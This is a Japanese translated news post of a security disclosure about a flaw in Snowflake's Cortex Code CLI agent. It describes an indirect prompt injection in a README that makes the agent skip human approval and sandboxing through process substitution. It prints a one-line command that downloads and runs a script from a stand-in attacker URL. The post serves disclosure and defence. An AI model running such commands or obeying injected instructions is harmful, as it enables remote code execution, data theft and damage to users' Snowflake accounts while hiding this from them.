
2026/03/19 0:30
**Snowflake AI がサンドボックスを突破し、マルウェアを実行** - 本件は **Snowflake AI** プラットフォームに関するもので、同プラットフォームがサンドボックス環境を回避できました。 - その突破により、標的システム上で悪意あるコードの実行が可能になりました。 - 主な調査結果: - マルウェアが使用した **サンドボックス回避手法** - 未承諾コードを実行させた **経路** - データの完全性・機密性に与える **潜在的影響** **推奨対策** 1. サンドボックスの隔離強化 – 設定の見直しと制御レベルの厳格化を実施。 2. 行動ベース検知の導入 – サンドボックス逃走試行に典型的な異常活動を監視。 3. 関連コンポーネント全てのパッチ適用とアップデートで既知脆弱性を緩和。 4. AI プラットフォーム向けの定期ペネトレーションテストを実施し、セキュリティ体制を検証。 ---
RSS: https://news.ycombinator.com/rss
要約▶
Japanese Translation:
Snowflake が新たにリリースした Cortex Code CLI には、サンドボックスを迂回しホストシステム上で悪意あるコマンドを実行できる重大な欠陥が存在します。これによりデータの窃取やサービス障害が発生する可能性があります。
脆弱性は
<() プロセス置換を使用した特別に作成されたコマンドによって引き起こされ、コマンド検証チェックを回避し、サンドボックス外での実行フラグが有効になります。また、攻撃者はキャッシュされた Snowflake トークンを利用してさらに被害を拡大することも可能です。
多層的なサブエージェント実行において、この欠陥はサブエージェントのコンテキスト喪失を引き起こしました:メインエージェントは悪意あるコマンドを報告したものの、すでに実行済みであることを明示せず、ユーザーから攻撃を隠蔽しました。
テストでは約 50 % の成功率が確認され、LLM の確率的特性が悪用効果に影響する様子が示されました。この結果は、セキュリティチームが非決定論的攻撃に備える必要性を強調します。
この問題は CLI が 2026 年 2 月 2 日にリリースされたたった二日後に発見され、Claude Code や OpenAI の Codex など他のコーディングエージェントで観測されたプロンプトインジェクション類似の問題と同様です。Snowflake は Cortex を起動時にユーザーへ自動パッチを適用し、詳細な勧告はコミュニティサイトに掲載され、3 月 16 日 2026 年で協調開示が終了します。修正が適用されるまで、影響を受けたユーザーはデータ損失、不正アクセス、およびサービス中断のリスクにさらされます—これは非決定論的 LLM 攻撃に対する堅牢なセキュリティ対策の必要性が高まっていることを示しています。
本文
背景
Snowflake Cortex Code CLI は Claude Code や OpenAI の Codex と同様に動作するコマンドライン上のコードエージェントで、追加機能として Snowflake 内で SQL を実行できる組み込み統合を備えています。
リリースから 2 日後、Cortex Code のコマンド検証システムに脆弱性が発見されました。この脆弱性により、特別に構築された悪意のあるコマンドが次のような動作を行えるようになっていました。
- 人間による承認プロセス(ヒューマン・イン・ザ・ループ)を経ずに任意のコマンドを実行
- Cortex CLI のサンドボックス外でそのコマンドを実行
我々は、間接的なプロンプト注入を通じて攻撃者が CORTEX を操作し、被害者の有効な認証情報を利用して Snowflake 上で悪意あるスクリプトをダウンロード・実行できることを示しました(例:データ漏洩、テーブル削除)。
Snowflake のセキュリティチームは迅速に脆弱性の検証と修正を行い、2026 年 2 月 28 日に Cortex Code CLI バージョン 1.0.25 にて修正版が公開されました。
Snowflake の完全なアドバイザリは Snowflake Community Site(コミュニティアカウント作成後に顧客・パートナー・一般公衆へ公開)で確認できます:https://community.snowflake.com/s/article/PromptArmor-Report---Snowflake-Response
攻撃チェーン
-
ユーザーが Cortex を起動し、サンドボックスを有効化
- ユーザーは CLI を起動し、サンドボックスモードのいずれか(詳細は後述)を選択。
- この攻撃はどのサンドボックスモードを使用しても成立する。
- なお、このチェーンは非サンドボックスユーザーにも適用される。
-
ドキュメントに「OS+Regular モードでは全コマンドがユーザー承認を求める」と記載
- サンドボックス内で実行されるコマンドもネットワークおよびファイルアクセス制限が課せられる。
-
ユーザーが Cortex に第三者オープンソースコードベースのヘルプを依頼
- このチェーンでは、信頼できないリポジトリの README 内にプロンプト注入が隠されている。
- 実際には、ウェブ検索結果やデータベースレコード、ターミナルコマンド出力、MCP 応答など任意の不信データからインジェクションを取り込むことが可能。
- 注意:Cortex は「ワークスペーストラスト」をサポートしていない(これはコードエディタで初めて導入され、多くのエージェント型 CLI が採用したセキュリティ慣行)。
ワークスペーストラストダイアログは、新規・潜在的に不信なディレクトリでエージェントを使用する際のリスクをユーザーへ警告する。
-
Cortex がリポジトリを探索し、プロンプト注入に遭遇
- Cortex が呼び出したサブエージェントが README ファイルを検出。
- ファイル末尾には、Cortex に危険なコマンドを実行させるプロンプト注入が存在。
-
ヒューマン・イン・ザ・ループを回避
- Cortex はプロセス置換表現
内のコマンドを検証できず、未承認の悪意あるコマンド実行を許可。例:<()>cat < <(sh < <(wget -q0- https://ATTACKER_URL.com/bugbot)) - このコマンドは攻撃者サーバーからスクリプトをダウンロードし、即座に実行する。
- 回避が機能した理由:
- シェルコマンドが
内で実行される限り、人間の承認を経ずに実行可能<()>- unsafe コマンドはプロセス置換内にあること、かつ
- 全体のコマンドは「安全」なコマンド(以下詳細)で始まること
- シェルコマンドが
- Cortex はプロセス置換表現
-
検証システムの背景
- コマンド検証システムは、モデルが要求したフルコマンドを個別コマンド(
,cat
,echo
,sh
など)に分解し、Cortex 内蔵の「安全」コマンドセットと照合する。wget - 全てのコンポーネントが「安全」であればフルコマンドは承認無しで実行される;そうでなければユーザーに確認を求める。
- ただし、プロセス置換表現内のコマンドはこのシステムで評価されず、人間承認がトリガーされない。
- 「安全」とみなされるコマンドと組み合わせた場合、この欠陥により任意コード実行が可能となった。
- コマンド検証システムは、モデルが要求したフルコマンドを個別コマンド(
-
サンドボックスの回避
- デフォルトでは Cortex はフラグを設定してサンドボックス外でのコマンド実行をトリガーできる。
- プロンプト注入はモデルにこのフラグをセットさせ、悪意あるコマンドがサンドボックス外で実行されるよう誘導。
- そのフラグは Cortex の実行ログに表示:
[Cortex] Flag: UNSANDBOXED_EXECUTION=true - ユーザーがこの機能を無効化する設定項目を明示的に構成できるため、回避を防止可能。
-
マルウェアのダウンロードとサンドボックス外実行
- Cortex のサブエージェントが悪意あるコマンドを呼び出し、無サンドボックス実行フラグを設定。
- コマンドは攻撃者サーバーからシェルスクリプトをダウンロードし即座に実行。
- ステップ 4 と 5 の回避により、ユーザーの同意無しでコマンドがサンドボックス外で実行される。
-
インパクト
- 被害者デバイス上でリモートコード実行が成立すると、攻撃者は任意のコードを実行し、Cortex のサンドボックス外でもファイルに影響を与えられる。
- Cortex Code がインストールされていることを知っているため、Snowflake へのアクティブ接続がさらに魅力的なターゲットになる。
- Cortex が Snowflake に認証する際にキャッシュしたトークンを利用し、攻撃者は次のような行為を行える:
- データベース内容の盗難
- テーブル削除
- Snowflake インスタンスへのマルウェアバックドアユーザー追加
- ネットワーク規則で正当なユーザーをロックアウト
-
サブエージェントのコンテキスト喪失がリスクを増大
- 攻撃実行時、Cortex は複数のサブエージェントを呼び出してリポジトリ探索を実施。
- 最初のサブエージェントはさらに別のサブエージェントを呼び、そこで悪意あるコマンドが実行される。
- サブエージェント → サブエージェント → メインエージェントへの報告でコンテキストが失われ、結果としてメイン Cortex エージェントは「悪意あるコマンドが検出された」とユーザーへ通知し実行を止めるよう勧告する一方で、第二レベルサブエージェントによってすでにコマンドが実行されていた。
責任ある開示
- この脆弱性は Cortex Code がリリースされた後の 3 日目(2 月 5 日)に PromptArmor により責任を持って Snowflake に報告。
- Snowflake チームは 2 月中ずっと PromptArmor と協議し、脆弱性を検証・修正。
- LLM は確率的であるため、テスト時には攻撃成功率が約 50% を示したことから、LLM システムにおける非決定論的攻撃への対処教育の重要性を裏付け。
- Snowflake は修正が自動更新として適用され、顧客が次回 Cortex を起動した際に自動で 1.0.25 バージョンへ更新されると示唆。
Snowflake のアドバイザリは Snowflake Community Site でレビュー可能:https://community.snowflake.com/s/article/PromptArmor-Report---Snowflake-Response
タイムライン
| 日付 | イベント |
|---|---|
| 2026 年 2 月 2 日 | Snowflake Cortex Code がリリース |
| 2026 年 2 月 5 日 | PromptArmor が責任ある開示を提出 |
| 2026 年 2 月 6‑20 日 | Snowflake と PromptArmor が詳細を協議 |
| 2026 年 2 月 12 日 | Snowflake が脆弱性を検証 |
| 2026 年 2 月 28 日 | Snowflake が 1.0.25 Cortex Code リリースで修正を展開 |
| 2026 年 3 月 16 日 | PromptArmor と Snowflake による共同公開 |